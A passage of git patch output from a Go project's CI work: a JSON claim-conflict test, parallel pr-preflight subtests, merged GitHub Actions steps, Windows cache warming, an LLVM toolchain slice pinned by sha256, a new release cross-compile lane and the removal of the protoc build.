t.Run("claim_conflict_json_reports_holder_in_failed_entry", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "uccj") + issue := bdProxiedCreate(t, bd, p.dir, "Contested JSON") + bdProxiedUpdateOne(t, bd, p.dir, issue.ID, "--claim", "--actor", "alice") + + stdout, stderr, err := bdProxiedUpdateRaw(t, bd, p.dir, "--json", issue.ID, "--claim", "--actor", "bob") + if err == nil { + t.Fatalf("proxied --json claim of an issue alice holds exited 0, want non-zero\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + + // A JSON document starts at column 0, whether compact or indented, so + // count those lines across both streams: one, not one per refusal. + docs := 0 + for _, line := range strings.Split(stdout+"\n"+stderr, "\n") { + if strings.HasPrefix(line, "{") { + docs++ + } + } + if docs != 1 { + t.Errorf("output carries %d JSON documents, want exactly 1 (the batch report)\nstdout:\n%s\nstderr:\n%s", docs, stdout, stderr) + } + + lines := strings.Split(strings.TrimSpace(stderr), "\n") + last := lines[len(lines)-1] + var report struct { + Error string `json:"error"` + Failed []struct { + ID string `json:"id"` + Error string `json:"error"` + } `json:"failed"` + } + if uerr := json.Unmarshal([]byte(last), &report); uerr != nil { + t.Fatalf("last stderr line is not a JSON failure report: %v\nstderr:\n%s", uerr, stderr) + } + if len(report.Failed) != 1 || report.Failed[0].ID != issue.ID { + t.Fatalf("JSON failure report failed list = %+v, want exactly one entry for %s", report.Failed, issue.ID) + } + if msg := report.Failed[0].Error; !strings.Contains(msg, "already claimed") || !strings.Contains(msg, "alice") { + t.Errorf("failed entry error = %q, want the already-claimed class naming the holder alice", msg) + } + }) + t.Run("add_remove_labels", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "ul") From 233d151b375591cb39d9456741806f73bdb8bb79 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 02:42:27 +0000 Subject: [PATCH 047/213] ci(pr): cut the Windows PR preflight leg's fixed costs (slice W) (#7378) PR preflight process (windows-latest) is a CI Gate input and, after the Bazel fixed-cost work, the merge-group critical path (ends at +247..+303s). Step timings from merge group 37710264475 and seven same-repo PR runs: 45-115s setup (setup-go, then module and build cache tar extraction), 33-71s "Exercise the real Bash process boundary", 27-58s ./cmd/bd test compile+link, 5-9s each for three more go test relinks. - scripts/pr_preflight_test.go: the ~29 pr-preflight.sh runs (about 1.5s each under Git Bash on Windows, 42.8s total in the merge group) now run as parallel subtests. Each run already had its own temp dir, call log and env; the one test that t.Setenv's stays serial. Linux: 4.8s -> 0.8s. - pr.yml: the hook-timeout step and the bd build fallback step become one go test of ./cmd/bd, saving a package re-hash and test-binary relink (5-9s on Windows for a sub-second test). Policy tests and the allowlist and topology docs follow the step name. - warm-non-race-cache.sh: on Windows also compile the three CGO_ENABLED=0 credential-fixture test packages the Windows-only fixture step runs, so main.yml's test-windows seeder covers them. No step, test or gate input is dropped; the job id, name, matrix and runner are unchanged. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/pr.yml | 26 ++++++++++++++----------- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 5 +++-- scripts/ci/warm-non-race-cache.sh | 9 +++++++++ scripts/ci_workflow_test.go | 4 ++-- scripts/pr_lanes_bazel_coverage_test.go | 2 +- scripts/pr_preflight_test.go | 25 ++++++++++++++++++++++++ tools/bazel/equivalence_allowlist.txt | 4 ++-- 7 files changed, 57 insertions(+), 18 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 7a9478e8b..6cefbbbe6 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -499,6 +499,13 @@ jobs: # cold `cmd/bd` test compile in "Exercise generated Git hook timeout # process boundary" (250-300s); see S2 below (the restore-non-race-cache # step) for the fix that actually targets it. Reverted to one leg per OS. + # + # Windows leg budget with the caches warm (merge group 37710264475 and PR + # runs, 2026-10-07/08): 45-115s setup (setup-go, then the two cache + # restores, mostly tar extraction), 33-71s for TestPRPreflight (Git Bash + # process creation, now parallel subtests), 27-58s to compile and link + # ./cmd/bd's test binary, and about 25s for the rest. A second Windows leg + # would pay the setup again to save about 20s, so it stays one leg. pr-preflight-platforms: name: PR preflight process (${{ matrix.os }}) runs-on: ${{ matrix.runner }} @@ -565,24 +572,21 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go test '-tags=gms_pure_go' -count=1 -run '^TestTestScriptPrebuiltBinaryContract$' ./scripts - - name: Exercise generated Git hook timeout process boundary - shell: bash - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: go test '-tags=gms_pure_go' -count=1 -run '^TestGeneratedHookTimeoutProcessBoundary$' ./cmd/bd - - # Plain go test's own bd build fallback (BEADS_TEST_BD_BINARY unset), + # One go test of ./cmd/bd runs the generated hook timeout boundary and + # plain go test's own bd build fallback (BEADS_TEST_BD_BINARY unset), # which Bazel never takes, on every OS developers run go test on: the # tests tools/bazel/equivalence_allowlist.txt lists as skipped under - # Bazel. Same build as the step above, so no second compile. - - name: Exercise go test's bd build fallback + # Bazel. They were two steps; each go test of ./cmd/bd re-hashes its + # ~1500 packages and relinks the test binary, which cost 5-9s on + # Windows for a fallback run of under one second. + - name: Exercise generated Git hook timeout process boundary and go test's bd build fallback shell: bash env: GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: go test '-tags=gms_pure_go' -count=1 -run '^(TestGOMODCACHENotUnderTestHome|TestGoBuildBDCommandIsCWDIndependent)$' ./cmd/bd + run: go test '-tags=gms_pure_go' -count=1 -run '^(TestGeneratedHookTimeoutProcessBoundary|TestGOMODCACHENotUnderTestHome|TestGoBuildBDCommandIsCWDIndependent)$' ./cmd/bd # This step recompiles ./cmd/bd's test binary. It must share the restored - # GOCACHE with the hook-timeout step above (same tags, same platform + # GOCACHE with the hook-timeout/bd-build-fallback step above (same tags, same platform # default CGO_ENABLED, see the script's header) so it is a relink rather # than a second cold compile: without GOCACHE here it fell back to the # runner's empty default cache and cold-compiled all of ./cmd/bd on every diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 6d4f8f454..8bc7ebb4e 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -927,8 +927,9 @@ Required` requires them to have run remotely and passed. `tools/bazel/equivalence_allowlist.txt` holds only the two `cmd/bd` tests of plain `go test`'s own bd build fallback, which Bazel never - takes; `pr-preflight-platforms` runs them on every OS ("Exercise go - test's bd build fallback"). `TestBazelOnlySkipsAreAllowlisted` (under + takes; `pr-preflight-platforms` runs them on macOS and Windows + ("Exercise generated Git hook timeout process boundary and go test's bd + build fallback"). `TestBazelOnlySkipsAreAllowlisted` (under Bazel too) requires every top-level test with a `TEST_SRCDIR`- or `bazeltest.IsBazel()`-guarded `t.Skip` to have an allowlist `skip` entry, and no test anywhere to run part of its checks under `go test` diff --git a/scripts/ci/warm-non-race-cache.sh b/scripts/ci/warm-non-race-cache.sh index 51b5de8ff..9facc7fa1 100755 --- a/scripts/ci/warm-non-race-cache.sh +++ b/scripts/ci/warm-non-race-cache.sh @@ -28,3 +28,12 @@ go test -tags gms_pure_go -c -o /dev/null ./cmd/bd go test -tags gms_pure_go -c -o /dev/null ./scripts go test '-tags=integration,gms_pure_go' -c -o /dev/null ./scripts go test '-tags=integration,gms_pure_go' -c -o /dev/null ./scripts/gitattributespolicy + +# pr-preflight-platforms' Windows-only "Exercise credential command fixtures on +# Windows" step tests these with CGO_ENABLED=0, which the Windows runner's +# default (CGO_ENABLED=1, gcc on PATH) does not build. +if [[ "$(go env GOOS)" == windows ]]; then + for pkg in ./internal/testutil/credentialcmd ./internal/creds ./internal/storage/dolt; do + CGO_ENABLED=0 go test -tags gms_pure_go -c -o /dev/null "$pkg" + done +fi diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 4878ba465..d3cdeab5b 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -616,8 +616,8 @@ func TestPRCIGateRequiresWindowsGlobalPrimeOverride(t *testing.T) { func TestPRCIGateRequiresGeneratedHookTimeoutProcessBoundary(t *testing.T) { const ( jobName = "pr-preflight-platforms" - stepName = "Exercise generated Git hook timeout process boundary" - stepCommand = "go test '-tags=gms_pure_go' -count=1 -run '^TestGeneratedHookTimeoutProcessBoundary$' ./cmd/bd" + stepName = "Exercise generated Git hook timeout process boundary and go test's bd build fallback" + stepCommand = "go test '-tags=gms_pure_go' -count=1 -run '^(TestGeneratedHookTimeoutProcessBoundary|TestGOMODCACHENotUnderTestHome|TestGoBuildBDCommandIsCWDIndependent)$' ./cmd/bd" gateKey = "PR_PREFLIGHT_PLATFORMS" ) diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index ecbd22c38..3983462d0 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -481,7 +481,7 @@ func TestPRRunsGoTestsBazelSkips(t *testing.T) { } // The allowlist's remaining skip entries run in pr-preflight-platforms // (every OS), each named in its go test selector. - fallback := pr.job(t, "pr-preflight-platforms").step(t, "Exercise go test's bd build fallback").Run + fallback := pr.job(t, "pr-preflight-platforms").step(t, "Exercise generated Git hook timeout process boundary and go test's bd build fallback").Run for _, line := range strings.Split(readPolicyFile(t, root, "tools/bazel/equivalence_allowlist.txt"), "\n") { body, _, _ := strings.Cut(line, "#") f := strings.Fields(body) diff --git a/scripts/pr_preflight_test.go b/scripts/pr_preflight_test.go index 1d5a9354b..f98882c46 100644 --- a/scripts/pr_preflight_test.go +++ b/scripts/pr_preflight_test.go @@ -95,6 +95,7 @@ type preflightRun struct { func TestPRPreflightSupportsGitHubCLIWithoutClosingIssuesReferences(t *testing.T) { t.Run("numeric lookup uses exact canonical GraphQL coordinates", func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, preflightFixture{}) if run.err != nil { t.Fatalf("pr-preflight failed with old gh field set: %v\n%s", run.err, run.output) @@ -137,6 +138,7 @@ func TestPRPreflightSupportsGitHubCLIWithoutClosingIssuesReferences(t *testing.T }) t.Run("canonical PR URL and zero count preserve warning behavior", func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, preflightFixture{ prArg: "https://github.com/octo/repo/pull/7", graphQLResponse: closingIssuesZero, @@ -226,6 +228,7 @@ func TestPRPreflightSupportsGitHubCLIWithoutClosingIssuesReferences(t *testing.T } for _, test := range tests { t.Run(test.name, func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, test.fixture) if exitCode(run.err) != 2 { t.Fatalf("exit = %d, want 2; error=%v\n%s", exitCode(run.err), run.err, run.output) @@ -318,6 +321,7 @@ func TestPRPreflightChecksUseLatestRunPerName(t *testing.T) { `]` t.Run("stale failures and cancellations are superseded by newer green runs", func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, preflightFixture{rollup: staleGreenRollup}) if !strings.Contains(run.output, "No failed or pending status checks reported.") { t.Fatalf("expected stale rollup entries to be superseded:\n%s", run.output) @@ -328,6 +332,7 @@ func TestPRPreflightChecksUseLatestRunPerName(t *testing.T) { }) t.Run("a genuinely failing latest run still blocks", func(t *testing.T) { + t.Parallel() freshRedRollup := `[` + `{"name":"CI Gate / Required","status":"COMPLETED","conclusion":"SUCCESS","completedAt":"2026-07-27T10:00:00Z"},` + `{"name":"CI Gate / Required","status":"COMPLETED","conclusion":"FAILURE","completedAt":"2026-07-28T10:00:00Z"}` + @@ -339,6 +344,7 @@ func TestPRPreflightChecksUseLatestRunPerName(t *testing.T) { }) t.Run("a commit status cannot supersede a same-named check run", func(t *testing.T) { + t.Parallel() // GitHub treats a check run and a commit status sharing a name as // independent required gates; both must pass. mixedRollup := `[` + @@ -352,6 +358,7 @@ func TestPRPreflightChecksUseLatestRunPerName(t *testing.T) { }) t.Run("identically named jobs in different workflows stay independent", func(t *testing.T) { + t.Parallel() crossWorkflowRollup := `[` + `{"__typename":"CheckRun","workflowName":"Main","name":"Test","status":"COMPLETED","conclusion":"FAILURE","completedAt":"2026-07-28T10:00:00Z"},` + `{"__typename":"CheckRun","workflowName":"Nightly","name":"Test","status":"COMPLETED","conclusion":"SUCCESS","completedAt":"2026-07-28T11:00:00Z"}` + @@ -363,6 +370,7 @@ func TestPRPreflightChecksUseLatestRunPerName(t *testing.T) { }) t.Run("an in-progress rerun with a zero completion time supersedes an old failure as pending", func(t *testing.T) { + t.Parallel() // gh exports absent CheckRun times as the Go zero time, not null. rerunRollup := `[` + `{"__typename":"CheckRun","workflowName":"Main","name":"CI","status":"COMPLETED","conclusion":"FAILURE","startedAt":"2026-07-27T09:00:00Z","completedAt":"2026-07-27T10:00:00Z"},` + @@ -396,6 +404,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { `]` t.Run("all failed across 3+ heads with 5+ decisive runs warns and names the workflow", func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, preflightFixture{baseRunList: greenBase, prGateRunList: sixRunsThreeHeadsAllFailed}) if run.err != nil { t.Fatalf("expected warn-only exit, got error: %v\n%s", run.err, run.output) @@ -407,6 +416,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("stays warn-only even under PR_PREFLIGHT_BLOCK_RED_BASE=1", func(t *testing.T) { + t.Parallel() // The warn-only property is the load-bearing one: mybd's pr-babysit // classifies any unrecognized [block] line as a genuine merge blocker // and parks merge lanes on it, and it withholds the base-fix @@ -426,6 +436,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("one success in the workflow's sample stays silent", func(t *testing.T) { + t.Parallel() mostlyFailedOneSuccess := strings.Replace(sixRunsThreeHeadsAllFailed, `"conclusion":"failure","headBranch":"branch-c","workflowName":"PR CI","workflowDatabaseId":101,"createdAt":"2026-07-28T05:00:00Z"`, `"conclusion":"success","headBranch":"branch-c","workflowName":"PR CI","workflowDatabaseId":101,"createdAt":"2026-07-28T05:00:00Z"`, 1) run := runPRPreflightWithFakeGH(t, preflightFixture{baseRunList: greenBase, prGateRunList: mostlyFailedOneSuccess}) if run.err != nil { @@ -437,6 +448,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("all failed but only 2 distinct heads stays silent", func(t *testing.T) { + t.Parallel() twoHeadsAllFailed := `[` + `{"conclusion":"failure","headBranch":"branch-a","workflowName":"PR CI","workflowDatabaseId":101,"createdAt":"2026-07-28T10:00:00Z","url":"https://github.com/o/r/actions/runs/1"},` + `{"conclusion":"failure","headBranch":"branch-a","workflowName":"PR CI","workflowDatabaseId":101,"createdAt":"2026-07-28T09:00:00Z","url":"https://github.com/o/r/actions/runs/2"},` + @@ -455,6 +467,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("empty sample stays silent", func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, preflightFixture{baseRunList: greenBase, prGateRunList: "[]"}) if run.err != nil { t.Fatalf("expected exit 0, got error: %v\n%s", run.err, run.output) @@ -465,6 +478,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("mixed workflows: only the all-red workflow fires, and it is named", func(t *testing.T) { + t.Parallel() mixedWorkflows := `[` + `{"conclusion":"success","headBranch":"branch-a","workflowName":"PR CI","workflowDatabaseId":101,"createdAt":"2026-07-28T12:00:00Z","url":"https://github.com/o/r/actions/runs/201"},` + `{"conclusion":"success","headBranch":"branch-b","workflowName":"PR CI","workflowDatabaseId":101,"createdAt":"2026-07-28T11:30:00Z","url":"https://github.com/o/r/actions/runs/202"},` + @@ -488,6 +502,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("undetermined base health skips the sample", func(t *testing.T) { + t.Parallel() // With no decisive base runs at all, preflight has just warned that it // could not determine base health; diagnosing "red for every PR while // the base branch shows green" would contradict that line. @@ -501,6 +516,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("red base skips the sample even when a workflow would otherwise fire", func(t *testing.T) { + t.Parallel() redBaseRunList := `[{"conclusion":"failure","workflowName":"CI","createdAt":"2026-07-28T09:00:00Z","url":"https://github.com/o/r/actions/base-1"}]` run := runPRPreflightWithFakeGH(t, preflightFixture{ baseRunList: redBaseRunList, @@ -518,6 +534,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("unreadable/non-JSON sample stays silent", func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, preflightFixture{baseRunList: greenBase, prGateRunList: "gh: rate limit exceeded"}) if run.err != nil { t.Fatalf("expected exit 0, got error: %v\n%s", run.err, run.output) @@ -528,6 +545,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("BASE_RUN_LIST positively drives the base-branch dispatch, not the PR-gate one", func(t *testing.T) { + t.Parallel() greenBaseRunList := `[{"conclusion":"success","workflowName":"CI","createdAt":"2026-07-28T12:00:00Z","url":"https://github.com/o/r/actions/base-2"}]` run := runPRPreflightWithFakeGH(t, preflightFixture{baseRunList: greenBaseRunList}) if run.err != nil { @@ -542,6 +560,13 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) } +// runPRPreflightWithFakeGH runs scripts/pr-preflight.sh once in its own temp +// dir, call log and environment, so callers that do not t.Setenv may run it +// from parallel subtests. They do: on Windows, Git Bash process creation makes +// each run cost about 1.5s, and the ~29 runs in this file used to take 42s of +// pr-preflight-platforms' Windows leg one after another (gastownhall/beads +// merge group 37710264475). TestPRPreflightFixtureIgnoresHostShellAndGitHubState +// stays serial because it rewrites the process environment. func runPRPreflightWithFakeGH(t *testing.T, fixture preflightFixture) preflightRun { t.Helper() diff --git a/tools/bazel/equivalence_allowlist.txt b/tools/bazel/equivalence_allowlist.txt index 374308a3b..e67a80a63 100644 --- a/tools/bazel/equivalence_allowlist.txt +++ b/tools/bazel/equivalence_allowlist.txt @@ -14,7 +14,7 @@ # Plain go test's own bd build fallback (BEADS_TEST_BD_BINARY unset), which # Bazel never takes (bd comes in through BEADS_TEST_BD_BINARY). pr.yml's -# pr-preflight-platforms runs both on Linux, macOS and Windows ("Exercise go -# test's bd build fallback"). +# pr-preflight-platforms runs both on macOS and Windows ("Exercise generated +# Git hook timeout process boundary and go test's bd build fallback"). cmd/bd TestGOMODCACHENotUnderTestHome skip # no in-test go build under Bazel; pr-preflight-platforms runs it cmd/bd TestGoBuildBDCommandIsCWDIndependent skip # no in-test go build under Bazel; pr-preflight-platforms runs it From 143c418148a9af4a7c26eb516653eb7286340bc2 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 03:13:34 +0000 Subject: [PATCH 048/213] =?UTF-8?q?ci(bazel):=20cut=20per-lane=20fixed=20c?= =?UTF-8?q?ost=20=E2=80=94=20LLVM=20.tar.zst=20slice,=20release=20cross-co?= =?UTF-8?q?mpile=20lane,=20no=20protoc=20build=20(#7379)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * ci(bazel): fetch the LLVM toolchain as a 149 MB slice; re-key the runner cache Port of gascity #7279. @llvm_dist_linux_x86_64 downloaded the 1.94 GB LLVM-22.1.8-Linux-X64.tar.xz and ran a single-threaded `tar -xJf` over 11 GiB to keep a 688 MB slice. That took 94-147 s in every Bazel lane, and every cgo, race and stdlib action waits on it. - llvm_dist.bzl gains `sliced`: download_and_extract of a members-only .tar.zst, plus a missing-member check. The xz path stays. - MODULE.bazel pins the toolchain-llvm-22.1.8-slice-1 asset by sha256 (de614777...6bec5). The URL is gascity's release asset for now; the list form leaves room for a beads mirror of the same bytes. - tools/cc_toolchain/repack_llvm.sh and llvm_members.txt rebuild the slice from the pinned upstream release. - Runner cache v4, keyed on MODULE.bazel too. MODULE.bazel.lock does not record llvm_dist, so the v3 key never changed and kept restoring the 2.9 GB entry that holds the xz archive. - bazel_hermetic_cc_test: a sliced llvm_dist may only download from a gastownhall/beads or gastownhall/gascity release, and its members must equal llvm_members.txt. Verified locally: - Every file in the extracted slice (2009 entries: types, modes, symlink targets, sha256) is identical to the xz extraction. - aquery action keys are identical, base vs head, at the same workspace path: 7565/7565 over deps(//cmd/bd:bd_for_tests) and 7146/7146 over the race deps(//internal/storage/embeddeddolt:embeddeddolt_test). - Extraction time: 178 s (xz) vs 1.9 s (zstd). Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run the release cross-compile as its own lane After the LLVM slice, bazel-pure is the longest cached Bazel lane (about 170 s). Its "Cross-compile every release target" step takes 54-58 s of that (78.9k configured targets, 25k cache-hit lookups) and shares no analysis with the pure invocations, because release_cross is a split transition. The step moves, unchanged, into a new job, bazel-release-cross ("release cross-compile"). The job uses bazel-pure's runner, `needs: rbe` and skip rule, so it runs in every mode except skip. It reports job.status like every lane: the workflow_call output is bazel-release-cross, and pr.yml's CI Gate requires it as BAZEL_RELEASE_CROSS. bazel-gate.sh skips it only in mode skip, as it does BAZEL_PURE. Merge groups use the same pr.yml gate. Push and dispatch runs gate nothing. Existing gate ids are unchanged. The policy test now pins the step to bazel-release-cross, requires the new gate id, and rejects any other job that runs the script (no double runs). The new job is listed as having no CI analytics step. It captured no BEP as a bazel-pure step either, and the analytics steps are unchanged. Docs: LINTING.md, TESTING.md, CI_REQUIRED_CHECK_TOPOLOGY.md. Expected: bazel-pure about 110 s on cached runs; the new lane about 85 s, in parallel. Cost: one more 2-vCPU Blacksmith runner per run. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): stop building protoc for protoc-gen-validate github.com/envoyproxy/protoc-gen-validate ships validate/validate.pb.go, but its own validate/BUILD makes the Go library a go_proto_library. So every lane built protoc from source just to regenerate that file. The module reaches the graph only through grpc xds and the cloud SDKs. A gazelle_override now regenerates the module's BUILD files with `gazelle:proto disable`. It sets build_file_generation = "on" and adds `gazelle:build_file_name BUILD.bazel`, so gazelle writes BUILD.bazel (which Bazel prefers) instead of keeping the upstream BUILD. The proto directive alone changes nothing, because the upstream BUILD files win. validate is now a plain go_library over validate.pb.go. Measured locally with aquery: - //... minus the manual release_cross target: base has 2096 CppCompile, 612 CppArchive, 314 CppLink and 1 GoProtocGen action; head has 0. - cquery somepath(//..., @protobuf//:protoc): base goes through grpc xds -> envoy core/v3 -> validate_go_proto -> protoc; head is empty. - deps(//cmd/bd:bd_for_tests): 7565 actions become 3077. The race deps(//internal/storage/embeddeddolt:embeddeddolt_test): 7146 become 2658. MODULE.bazel.lock does not change. The v4 runner cache key includes MODULE.bazel, so it still moves. Expect one cold compile of the Go packages above validate on the first run after merge. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): bazel mod tidy formatting Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .github/actions/setup-bazel/action.yml | 9 ++- .github/scripts/bazel-gate.sh | 2 +- .github/workflows/bazel.yml | 101 +++++++++++++++++++------ .github/workflows/pr.yml | 9 ++- MODULE.bazel | 32 +++++++- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 15 ++-- engdocs/LINTING.md | 4 +- engdocs/TESTING.md | 3 +- scripts/bazel_hermetic_cc_test.go | 97 +++++++++++++++++++++++- scripts/ci_analytics_workflow_test.go | 9 ++- scripts/ci_workflow_test.go | 81 +++++++++++++------- third_party/cc_toolchain/llvm_dist.bzl | 35 ++++++--- tools/cc_toolchain/llvm_members.txt | 28 +++++++ tools/cc_toolchain/repack_llvm.sh | 39 ++++++++++ 14 files changed, 374 insertions(+), 90 deletions(-) create mode 100644 tools/cc_toolchain/llvm_members.txt create mode 100755 tools/cc_toolchain/repack_llvm.sh diff --git a/.github/actions/setup-bazel/action.yml b/.github/actions/setup-bazel/action.yml index 92dc96635..8bb03ddd1 100644 --- a/.github/actions/setup-bazel/action.yml +++ b/.github/actions/setup-bazel/action.yml @@ -39,15 +39,18 @@ runs: # unverified repo contents cache is off (write-bazelrc.sh) and the Bazel # binary is not cached, so a poisoned entry (a cache written by an # untrusted run) cannot change what executes. v3: v2 also held Bazelisk's - # download and the contents cache. + # download and the contents cache. v4: MODULE.bazel joins the key because + # the lock does not record non-registry repository rules (llvm_dist), so + # v3 kept restoring the 1.94 GB LLVM .tar.xz after the switch to the + # 149 MB slice. - name: Restore Bazel runner cache id: restore uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/bazel-ci-cache - key: bazel-repo-v3-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} + key: bazel-repo-v4-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel', 'MODULE.bazel.lock') }} restore-keys: | - bazel-repo-v3-${{ runner.os }}- + bazel-repo-v4-${{ runner.os }}- - name: Install Bazelisk shell: bash diff --git a/.github/scripts/bazel-gate.sh b/.github/scripts/bazel-gate.sh index 07bed3644..0101669b4 100755 --- a/.github/scripts/bazel-gate.sh +++ b/.github/scripts/bazel-gate.sh @@ -41,7 +41,7 @@ case "${1:-}" in skips=() if [[ "$valid" == true ]]; then case "$mode" in - skip) skips+=(BAZEL BAZEL_TEST BAZEL_PURE BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE BAZEL_CMD_DOLT) ;; + skip) skips+=(BAZEL BAZEL_TEST BAZEL_PURE BAZEL_RELEASE_CROSS BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE BAZEL_CMD_DOLT) ;; local) skips+=(BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_PROXIED BAZEL_SERVER_STORAGE BAZEL_CMD_DOLT) ;; cache) skips+=(BAZEL_EMBEDDED BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; esac diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 625466eb2..6564862f0 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1,8 +1,9 @@ # The Bazel lanes: the only CI run of the Linux Go test tiers. Runs # `bazel test //... --config=ci`, the PR-core selection (race, -short, dolt -# skip), plus one job per tier (pure-Go and js/wasm, the dolt-server lane, -# the embedded-Dolt, proxied-server and server-Dolt storage tiers that -# pr-risk.yml used to run, integration, the cmd/bd Dolt-server tier). +# skip), plus one job per tier (pure-Go and js/wasm, the release +# cross-compile, the dolt-server lane, the embedded-Dolt, proxied-server and +# server-Dolt storage tiers that pr-risk.yml used to run, integration, the +# cmd/bd Dolt-server tier). # # PRs and merge groups run it through pr.yml's `bazel` job (workflow_call). # The legacy go test jobs these lanes mirrored are retired (ga-96smfk.22), @@ -24,9 +25,10 @@ # runs the lane once. Every lane reports its job.status as a workflow_call # output (named after the job) from an always() last step. pr.yml's ci-gate # requires the call's aggregate result (BAZEL) and bazel-test, bazel-pure, -# bazel-embedded, bazel-integration, bazel-doltserver, bazel-proxied and -# bazel-server-storage (BAZEL_TEST, BAZEL_PURE, BAZEL_EMBEDDED, -# BAZEL_INTEGRATION, BAZEL_DOLTSERVER, BAZEL_PROXIED, BAZEL_SERVER_STORAGE); +# bazel-release-cross, bazel-embedded, bazel-integration, bazel-doltserver, +# bazel-proxied and bazel-server-storage (BAZEL_TEST, BAZEL_PURE, +# BAZEL_RELEASE_CROSS, BAZEL_EMBEDDED, BAZEL_INTEGRATION, BAZEL_DOLTSERVER, +# BAZEL_PROXIED, BAZEL_SERVER_STORAGE); # bazel-cmd-dolt (the cmd/bd Dolt-server tier, BAZEL_CMD_DOLT) is advisory: # job-level continue-on-error, and pr.yml requires it only while its # BAZEL_CMD_DOLT_REQUIRED flag is "true" (pr.yml then also passes @@ -167,8 +169,8 @@ # gates no longer consume this artifact (they build their own bd); it is # kept for the F3.5.3 SHA256SUMS comparison and for debugging. # -# Runner cache: one entry per (.bazelversion, MODULE.bazel.lock) pair, about -# 2 GB (Bazel's content-addressable --repository_cache, re-hashed on every +# Runner cache: one entry per (.bazelversion, MODULE.bazel, MODULE.bazel.lock) +# triple, about 1 GB (Bazel's content-addressable --repository_cache, re-hashed on every # hit; never the Bazel binary or the repo contents cache), written # only by a push to main that missed it. No --disk_cache: remote runs use the # remote cache, and local runs would need about 7 GB more. @@ -330,6 +332,9 @@ on: bazel-pure: description: "bazel-pure's job.status" value: ${{ jobs.bazel-pure.outputs.result }} + bazel-release-cross: + description: "bazel-release-cross's job.status" + value: ${{ jobs.bazel-release-cross.outputs.result }} bazel-embedded: description: "bazel-embedded's job.status" value: ${{ jobs.bazel-embedded.outputs.result }} @@ -931,15 +936,15 @@ jobs: retention-days: 7 # Only a push to main that missed the exact key writes the runner cache. - # Its content (--repository_cache only, never the rc - # or credentials) is fixed by .bazelversion and MODULE.bazel.lock, so one - # entry per lock is enough and later pushes do not churn the quota. + # Its content (--repository_cache only, never the rc or credentials) is + # fixed by .bazelversion, MODULE.bazel and MODULE.bazel.lock, so one + # entry per triple is enough and later pushes do not churn the quota. - name: Save Bazel runner cache if: ${{ always() && github.event_name == 'push' && github.ref == 'refs/heads/main' && steps.bazel.outcome == 'success' && steps.bazel.outputs.cache-hit != 'true' }} uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/bazel-ci-cache 